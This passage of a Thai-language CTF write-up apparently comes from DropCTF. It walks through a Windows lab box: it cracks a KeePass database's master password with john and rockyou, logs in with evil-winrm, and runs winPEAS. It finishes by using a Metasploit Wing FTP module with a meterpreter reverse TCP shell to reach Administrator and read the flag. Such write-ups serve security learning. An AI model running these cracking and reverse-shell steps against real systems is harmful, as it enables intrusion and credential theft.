tRWnaXeNF0zzVbZR/rnf+yriMtIxiqug+AiFPwivKNv8+OIEIjDhjv+WTsygcgrEEV5JO9fEQiWknmXQ0n4mIVWDoFt1kWah/NMhtJcAZuIfi2azSoYCcDnMWOsbk2kUZrnaSsgREisc5DMHYgEzReH3PaWopLKWXXdAo+eSnvykMZMNaY7bKef/RAhZYnWIezvEnGCvFbBkoODFSFbNRfy62s0bbdIG3xob8uMeV3Howg78nYz1tZysoF41HR1bzZrDMOJU+Nakx5gFD7G/CNF1YHty1LVaG3mXq6k42JvInnFxczEDWbJZVv9KhQPFyIU+sQJU8sGVjN82kiT9y8JaY8mZu/7hlHCyiyLB5QnQOlk5bafNFJwKuhCLOGNeEGxbD8JmE7FIj4pKmD/mrZ1tA4s/kcn2+7AVbyM6N3+1PM5maaM3f1wxpQh6HeMb0NtBjE/qVUgLHykQGeYj+PaDjC9YIHrx5j1x3Z3hlZ+qeSlGE9bYuXVp8GIMxeOoDuVc3YZmdBvElh5pirEV4MaHeMSqWXcBfkok4r2CW+7ESCUJGjFDBY7WWlgN0fVNGTZkf5YdAj8nqqGgRfZbXDlpiqB91qW+sNPqYQXuC44iRKarR49RE/qi12DZBQ5fm5T49rmlb5DVVRrAGoPU3nxP+cMQtBAv9cV02t6PDDHgd6m0r1a0TSCun5RLAQ==

alt text

ที่นี้เราสามารถนำข้อมูล data.kdbx ไปถอดรหัสจาก Base64 ใน Cyberchef แล้ว Save as data.kdbx ได้ครับ

alt text

alt text

ที่นี้ให้เราทำการ Crack หา Master Password ของไฟล์ data.kdbx กันครับ

Keepass2john #

❯ keepass2john Data.kdbx > data_franken_hash.txt
❯ john --wordlist=/usr/share/wordlists/rockyou.txt data_franken_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
No password hashes left to crack (see FAQ)
❯ john --show data_franken_hash.txt
data:007supersecret
1 password hash cracked, 0 left

alt text

alt text

จากนั้นเราก็จะได้ Password ของ User Andy ออกมานั่นเองครับ

❯ evil-winrm -i 10.52.0.203 -u 'andy' -p 'raises.honor0holds'

*Evil-WinRM* PS C:\Users\andy\Documents> whoami
dropctf\andy

Maintaining Access #

ซึ่งในโจทย์เป็นโจทย์สาธารณะผมเลยเจอผู้เล่นบางคนอัพโหลด winPEAS.bat ไว้ที่ Path C:\Temp ครับ

NOTE

winPEAS.bat เป็น Script ที่เอาไว้ใช้ในการ Enumeration ข้อมูลที่เป็นไปได้ว่าจะสามารถยกระดับสิทธิ์เป็น Admin ได้ครับ


*Evil-WinRM* PS C:\Temp> dir

    Directory: C:\Temp

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        12/2/2024   9:58 AM          36622 winPEAS.bat

*Evil-WinRM* PS C:\Temp> ./winPEAS.bat

WinPEAS.bat result#


            ((,.,/((((((((((((((((((((/,  */
     ,/*,..*(((((((((((((((((((((((((((((((((,                                                                                                   
   ,*/((((((((((((((((((/,  .*//((//**, .*((((((*
   ((((((((((((((((* *****,,,/########## .(* ,((((((
   (((((((((((/* ******************/####### .(. ((((((
   ((((((..******************/@@@@@/***/###### /((((((
   ,,..**********************@@@@@@@@@@(***,#### ../(((((
   , ,**********************#@@@@@#@@@@*********##((/ /((((
   ..(((##########*********/#@@@@@@@@@/*************,,..((((
   .(((################(/******/@@@@@#****************.. /((
   .((########################(/************************..*(
   .((#############################(/********************.,(
   .((##################################(/***************..(
   .((######################################(************..(
   .((######(,.***.,(###################(..***(/*********..(
   .((######*(#####((##################((######/(********..(
   .((##################(/**********(################(**...(
   .(((####################/*******(###################.((((
   .(((((############################################/  /((
   ..(((((#########################################(..(((((.
   ....(((((#####################################( .((((((.
   ......(((((#################################( .(((((((.
   (((((((((. ,(############################(../(((((((((.
       (((((((((/,  ,####################(/..((((((((((.
             (((((((((/,.  ,*//////*,. ./(((((((((((.
                (((((((((((((((((((((((((((/
                       by carlospolop

/!\ Advisory: WinPEAS - Windows local Privilege Escalation Awesome Script
   WinPEAS should be used for authorized penetration testing and/or educational purposes only.
   Any misuse of this software will not be the responsibility of the author or of any other collaborator.
   Use it at your own networks and/or with the network owner's permission.

[*] BASIC SYSTEM INFO
 [+] Powershell Setting
WindowsPowerShell
Wing FTP Server
WinRAR
    InstallLocation    REG_SZ    C:\Program Files\WinRAR
    InstallLocation    REG_SZ    C:\Program Files\VMware\VMware Tools\
    InstallLocation    REG_SZ    C:\Program Files (x86)\Wing FTP Server\

ซึ่งข้อมูลที่น่าสนใจคือ Wing FTP Server ครับ

*Evil-WinRM* PS C:\Program Files (x86)\Wing FTP Server> dir


    Directory: C:\Program Files (x86)\Wing FTP Server


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        12/3/2024   5:35 AM                Data
d-----       11/28/2024  10:06 PM                Log
d-----       11/28/2024  10:06 PM                lua
d-----       11/28/2024  10:06 PM                Microsoft.VC90.CRT
d-----        12/3/2024   5:14 AM                session_admin
d-----       11/28/2024  10:06 PM                Tray
d-----       11/28/2024  10:06 PM                webadmin
d-----       11/28/2024  10:06 PM                webclient
-a----        6/26/2014   2:09 PM        1000448 libeay32.dll
-a----        1/14/2012   7:41 PM          95744 libnat.dll
-a----        9/14/2010   9:36 PM           4940 License.txt
-a----        4/23/2010   5:39 PM         167936 lua5.1.dll
-a----        8/28/2008   3:04 PM          11264 lua51.dll
-a----        11/7/2007  12:24 PM            524 Microsoft.VC90.CRT.manifest
-a----        11/7/2007  12:23 PM         224768 msvcm90.dll
-a----        11/7/2007   5:19 PM         568832 msvcp90.dll
-a----        11/7/2007   5:19 PM         655872 msvcr90.dll
-a----        5/27/2010   4:06 PM         592896 setuphelper.dll
-a----        6/26/2014   2:10 PM         216576 ssleay32.dll
-a----       11/28/2024  10:06 PM         215702 unins000.dat
-a----       11/28/2024  10:06 PM        1187903 unins000.exe
-a----        6/26/2014   6:45 PM          36276 version.txt
-a----         7/2/2014   2:17 PM         256200 WFTPConsole.exe
-a----         7/2/2014   2:17 PM        6357192 WFTPServer.exe
-a----         7/2/2014   2:17 PM        1183944 WFTPTray.exe
-a----        9/27/2009  10:40 AM            824 wftp_default_ssh.key
-a----       10/13/2009   7:46 PM           1006 wftp_default_ssl.crt
-a----       10/13/2009   7:46 PM            906 wftp_default_ssl.key
-a----         9/7/2009  10:50 PM          53248 xmlparse.dll
-a----         9/7/2009  10:50 PM          81920 xmltok.dll
*Evil-WinRM* PS C:\Program Files (x86)\Wing FTP Server\Data> dir


    Directory: C:\Program Files (x86)\Wing FTP Server\Data


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        12/2/2024  10:41 AM                _ADMINISTRATOR
-a----        12/2/2024  10:45 AM           1835 settings.xml


*Evil-WinRM* PS C:\Program Files (x86)\Wing FTP Server\Data> cd _ADMINISTRATOR
*Evil-WinRM* PS C:\Program Files (x86)\Wing FTP Server\Data\_ADMINISTRATOR> dir


    Directory: C:\Program Files (x86)\Wing FTP Server\Data\_ADMINISTRATOR


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        12/2/2024  10:25 AM            405 admins.xml
-a----        12/2/2024  10:50 AM            422 settings.xml


*Evil-WinRM* PS C:\Program Files (x86)\Wing FTP Server\Data\_ADMINISTRATOR> type admins.xml
<?xml version="1.0" ?>
<ADMIN_ACCOUNTS Description="Wing FTP Server Admin Accounts">
    <ADMIN>
        <Admin_Name>andy</Admin_Name>
        <Password>c6a753167395dd90ede93431a1430291</Password>
        <Type>0</Type>
        <Readonly>0</Readonly>
        <IsDomainAdmin>0</IsDomainAdmin>
        <DomainList></DomainList>
        <MyDirectory></MyDirectory>
    </ADMIN>
</ADMIN_ACCOUNTS>
*Evil-WinRM* PS C:\Program Files (x86)\Wing FTP Server\Data\_ADMINISTRATOR> type settings.xml
<?xml version="1.0" ?>
<Administrator Description="Wing FTP Server Administrator Options">
    <HttpPort>5466</HttpPort>
    <HttpSecure>0</HttpSecure>
    <SSLName>wftp_default_ssl</SSLName>
    <AdminLogfileEnable>1</AdminLogfileEnable>
    <AdminLogfileFileName>Admin-%Y-%M-%D.log</AdminLogfileFileName>
    <AdminLogfileMaxsize>0</AdminLogfileMaxsize>
    <EnablePortUPnP>0</EnablePortUPnP>
</Administrator>

ซึ่งถ้าเราค้นหาข้อมูลเราจะพบว่า Wing FTP Server มีการตั้งค่าให้ User andy เป็นสิทธิ์ Administrator ครับ จากนั้นให้เราทำการเปิด Wing FTP Server ขึ้นมาครับโดยใช้ WFTPConsole.exe

*Evil-WinRM* PS C:\Program Files (x86)\Wing FTP Server> ./WFTPConsole.exe
Allowed options:
  --help                Show this message
  -u [ --username ] arg Username (Required field)
  -p [ --password ] arg Password (Required field)
  -h [ --host ] arg     Remote host IP address,default is localhost
  -P [ --port ] arg     Remote host port,default is 5466
  -f [ --file ] arg     Parse and execute local Lua <file>
  -s [ --ssl ]          Use SSL connection

*Evil-WinRM* PS C:\Program Files (x86)\Wing FTP Server> ./WFTPConsole.exe -u andy -p raises.honor0holds

จากนั้นผมจึงได้เจอกับ Script Exploit จากเครื่องมือ Metasploit ที่สามารถ RCE

msf6 exploit(windows/mssql/mssql_payload_sqli) > search Wing FTP Server

Matching Modules
================

   #   Name                                              Disclosure Date  Rank       Check  Description
   -   ----                                              ---------------  ----       -----  -----------
   0   exploit/windows/ftp/comsnd_ftpd_fmtstr            2012-06-08       good       Yes    ComSndFTP v1.3.7 Beta USER Format String (Write4) Vulnerability
   1     \_ target: Automatic                            .                .          .      .
   2     \_ target: Windows XP SP3 - English             .                .          .      .
   3     \_ target: Windows Server 2003 - English        .                .          .      .
   4   exploit/windows/ftp/sami_ftpd_user                2006-01-24       normal     Yes    KarjaSoft Sami FTP Server v2.0.2 USER Overflow
   5   exploit/windows/mssql/mssql_payload_sqli          2000-05-30       excellent  No     Microsoft SQL Server Payload Execution via SQL Injection
   6   exploit/windows/tftp/opentftp_error_code          2008-07-05       average    No     OpenTFTP SP 1.4 Error Packet Overflow
   7     \_ target: OpenTFTP 1.4 Service                 .                .          .      .
   8     \_ target: OpenTFTP 1.4 Stand Alone             .                .          .      .
   9   exploit/windows/ftp/pcman_stor                    2013-06-27       normal     Yes    PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow
   10  exploit/windows/ftp/quickshare_traversal_write    2011-02-03       excellent  Yes    QuickShare File Server 1.2.1 Directory Traversal Vulnerability
   11  exploit/windows/ftp/vermillion_ftpd_port          2009-09-23       great      Yes    Vermillion FTP Daemon PORT Command Memory Corruption
   12    \_ target: Automatic Targeting                  .                .          .      .
   13    \_ target: vftpd 1.31 - Windows XP SP3 English  .                .          .      .
   14  exploit/windows/ftp/wing_ftp_admin_exec           2014-06-19       excellent  Yes    Wing FTP Server Authenticated Command Execution


Interact with a module by name or index. For example info 14, use 14 or use exploit/windows/ftp/wing_ftp_admin_exec

msf6 exploit(windows/mssql/mssql_payload_sqli) > use 14 
[*] Using configured payload windows/meterpreter/reverse_tcp

msf6 exploit(windows/ftp/wing_ftp_admin_exec) > show options

Module options (exploit/windows/ftp/wing_ftp_admin_exec):

   Name      Current Setting                   Required  Description
   ----      ---------------                   --------  -----------
   PASSWORD  c6a753167395dd90ede93431a1430291  yes       Admin password
   Proxies                                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS    10.52.0.203                       yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using
                                                         -metasploit.html
   RPORT     5466                              yes       The target port (TCP)
   SSL       false                             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                     no        Path to a custom SSL certificate (default is randomly generated)
   USERNAME  andy                              yes       Admin username
   VHOST                                       no        HTTP server virtual host


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.240.0.2       yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wing FTP Server >= 3.0.0



View the full module info with the info, or info -d command.

msf6 exploit(windows/ftp/wing_ftp_admin_exec) > set PASSWORD raises.honor0holds
PASSWORD => raises.honor0holds
msf6 exploit(windows/ftp/wing_ftp_admin_exec) > exploit

[-] Handler failed to bind to 10.240.0.2:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444 
[*] Found Wing FTP Server 4.3.8
[+] Found Powershell at C:\Windows\System32\WindowsPowerShell\v1.0\
[*] Executing payload via PowerShell...
[*] Exploit completed, but no session was created.
msf6 exploit(windows/ftp/wing_ftp_admin_exec) > set LHOST tun0
LHOST => 10.240.0.7
msf6 exploit(windows/ftp/wing_ftp_admin_exec) > exploit

[*] Started reverse TCP handler on 10.240.0.7:4444 
[*] Found Wing FTP Server 4.3.8
[+] Found Powershell at C:\Windows\System32\WindowsPowerShell\v1.0\
[*] Executing payload via PowerShell...
[*] Sending stage (177734 bytes) to 10.240.0.3
[*] Meterpreter session 1 opened (10.240.0.7:4444 -> 10.240.0.3:54775) at 2024-12-02 05:50:46 -0500

meterpreter > dir
whoamiListing: C:\Windows\system32
============================

Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
040777/rwxrwxrwx  0         dir   2018-09-15 05:07:39 -0400  0409
100666/rw-rw-rw-  2151      fil   2018-09-15 03:12:00 -0400  12520437.cpx
100666/rw-rw-rw-  2233      fil   2018-09-15 03:12:00 -0400  12520850.cpx
100666/rw-rw-rw-  232       fil   2018-09-15 03:13:06 -0400  @AppHelpToast.png
100666/rw-rw-rw-  308       fil   2018-09-15 03:13:04 -0400  @AudioToastIcon.png
100666/rw-rw-rw-  330       fil   2018-09-15 03:13:06 -0400  @EnrollmentToastIcon.png
100666/rw-rw-rw-  404       fil   2018-09-15 03:13:09 -0400  @VpnToastIcon.png
100666/rw-rw-rw-  691       fil   2018-09-15 03:13:11 -0400  @WirelessDisplayToast.png
100666/rw-rw-rw-  1004032   fil   2021-08-15 06:04:19 -0400  APMon.dll
100777/rwxrwxrwx  22528     fil   2018-09-15 03:12:01 -0400  ARP.EXE
100666/rw-rw-rw-  387392    fil   2021-08-15 06:03:59 -0400  AUDIOKSE.dll
100666/rw-rw-rw-  330752    fil   2021-08-15 06:03:34 -0400  AboveLockAppHost.dll
100666/rw-rw-rw-  2393600   fil   2021-08-15 06:04:29 -0400  AcGenral.dll
100666/rw-rw-rw-  394752    fil   2021-08-15 06:04:11 -0400  AcLayers.dll
100666/rw-rw-rw-  460800    fil   2018-09-15 03:13:14 -0400  AcSpecfc.dll
meterpreter > cd Desktop
meterpreter > dir
Listing: C:\USers\Administrator\Desktop
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  38    fil   2024-11-27 12:37:38 -0500  Final.txt
100666/rw-rw-rw-  301   fil   2024-11-28 14:40:41 -0500  Thank you.txt
100666/rw-rw-rw-  282   fil   2024-10-26 02:01:09 -0400  desktop.ini

meterpreter > type Final.txt
[-] Unknown command: type. Run the help command for more details.
meterpreter > shell
Process 5284 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.2114]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\USers\Administrator\Desktop>type Final.txt
type Final.txt
PRMS{3b31e37e44886ee1137561a95c9caa77}

สุดท้ายก็จะได้ Final.txt ที่ซ้อน Flag.txt ในที่สุดครับเย้ 🎉

ขอบคุณที่อ่านมาจนจบนะครับหวังว่าจะเป็นประโยชน์ต่อผู้ที่อาจจะกำลังศึกษาในเรื่องของ AD นะครับ :)

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣤⣤⣤⣤⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀  ⠀⠀⠀⠀⠀⠀⠀
        ⢀⣤⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠛⠻⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⡿⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣤⣴⣿⣿⣿⣿⣿⡿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠋   ⢀⣀⠀⠀⠀⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⠁⠀⠀  ⣴⣿⣿⣿⣦⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣀⠀⠀⠀  ⢿⣿⣿⣿⡟ Ar3mus @ DropCTF - RED X BLUE PILL CHALLENGES
⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄   ⠉⠉⠁⠀⠀⠀⠀
⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⠀⠀
⠀⠀  ⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋
⠀⠀⠀  ⠀⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠁
⠀⠀   ⠀⠀⠀⠀⠉⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀  ⠀⠀⠉⠙⠛⠛⠻⠿⠿⠟⠛⠛⠋⠉⠀⠀⠀⠀⠀
DropCTF - RED X BLUE PILL CHALLENGES
https://fuwari.vercel.app/posts/write-up/11/
Author
Ar3mus
Published at
2024-12-02
License
CC BY-NC-SA 4.0